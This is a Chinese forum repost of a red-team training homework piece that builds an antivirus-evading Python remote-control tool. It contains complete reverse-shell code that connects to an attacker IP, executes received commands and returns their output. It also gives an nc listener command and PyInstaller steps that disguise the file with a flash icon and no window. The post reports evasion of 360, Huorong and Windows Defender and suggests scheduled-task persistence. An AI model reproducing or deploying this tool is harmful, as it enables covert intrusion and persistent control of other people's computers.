社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

红队作业 | Python实现免杀远控

Ms08067安全实验室 • 3 年前 • 499 次点击  

文章来源|MS08067 红队培训班 第4期

本文作者:学员A(红队培训班4期学员)


按老师要求尝试完成布置的作业如下:


要想实现简易远控,说的详细点就是反弹shell,首先要解决三个问题:

1.与服务端建立socket连接

2.在服务端命令执行

3.服务端把回显返回给客户端


这里我们用python实现,声明一下,涉及到的内容是网络编程,以下函数实现多半都是我百度的,所以有很多用法以及逻辑的实现都是欠考虑的QAQ


0x01 代码实现

#以下提到客户端/服务端均为相对概念
import socket
import sys
import subprocess


s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#建立socket服务器,两个参数分别代表ipv4,tcp连接,套用模板不解释


try:                                                #异常处理,屏蔽两种报错1.服务端主动连接目标积极拒绝 2.系统命令执行错误
   s.connect(('x.x.x.x', 6666))             #主动连接目标ip+端口,注意里面是个元组
   while True:                                     #建立一个死循环,目的是为了维持socket连接,也就是长连接
       d=s.recv(1024)                              #每次从建立的tcp连接里接受最多1字节的数据流 bytes
       if d:
           d = str(d, "utf-8").strip()              #bytes转成str然后再strip去掉最后输入的换行
           if d=='exit':
               s.close()
               sys.exit()                          #实现客户端输入exit可主动断开连接
           c=subprocess.Popen(d,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)        #利用子线程实行命令执行,可被异常捕获,据悉os.system不能被异常捕获
           c.wait()
           STDOUT,STDERR=c.communicate()
           s.send(STDOUT.decode('cp936').encode('utf-8'))
       else:
           s.close()
           break                                    #这里设置if else为了客户端强制退出时也可执行
except  BaseException:
   s.close()                                         #关闭连接并退出
   sys.exit()

执行后本地测试


简单总结一下编写时要解决的一些问题:

1.tcp连接要是长连接,即连接后给个while

2.不能让服务端报错,采用异常处理让服务端从始至终无报错(包括但不限于连接时被拒绝报错,命令执行报错等)

3.一些函数的返回类型等的细节转换


这里客户端我们开启nc -lvvp 6666监听本地端口(版本问题 这里我的命令是lvv),用到工具netcat(瑞士军刀),端口连接/传shell/传文件/传信息的神器

服务端执行以上代码


0x02 代码小结

简单的远控的python实现,也可以说是nc反弹shell的功能简单实现,缺点还有很多,代码的鲁棒性不强,所有情况都是偏理想型,网络编程不熟,代码有待优化,对于免杀性的话,如果免杀效果不够,可以同功能不同代码实现的思路来进行,有种python沙箱逃逸的感觉了


0x03 打包exe测试

放到同一目录下然后打开cmd执行

Pyinstaller -F -w -i 1.ico flash.py

这里省的我们再去换ico了,执行后去dict目录下找到生成的exe

你能说不像那么回事么?

好的 这边继续测试一下exe文件

简单测试一下本机成功上线,解决了几个问题

1.客户端未开启监听,服务端积极连接被拒绝不报错

2.连接成功后任意输入命令不报错

缺点是火狐的网络监控可以发现

虚拟机上线实例:

断网360测了一下:

火绒测试:

然后虚拟机windefender也没报,未传vt,但应该是随便过的


0x04 总结

简单的不完美的python反弹shell的实现,代码部分有待完善,实际应用中可以用来配合计划任务。(at/schtasks)执行来进行权限的维持,也可以配合方糖来做一个上线提醒的功能,然后更完美的就是后渗透的部分了,俺也是菜菜初学者,就这样.



咨询红队请联系小客服

扫描下方二维码加入星球学习

加入后邀请你进入内部微信群,内部微信群永久有效!

 

 

来和5000+位同学一起加入星球学习吧!

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/123796
 
499 次点击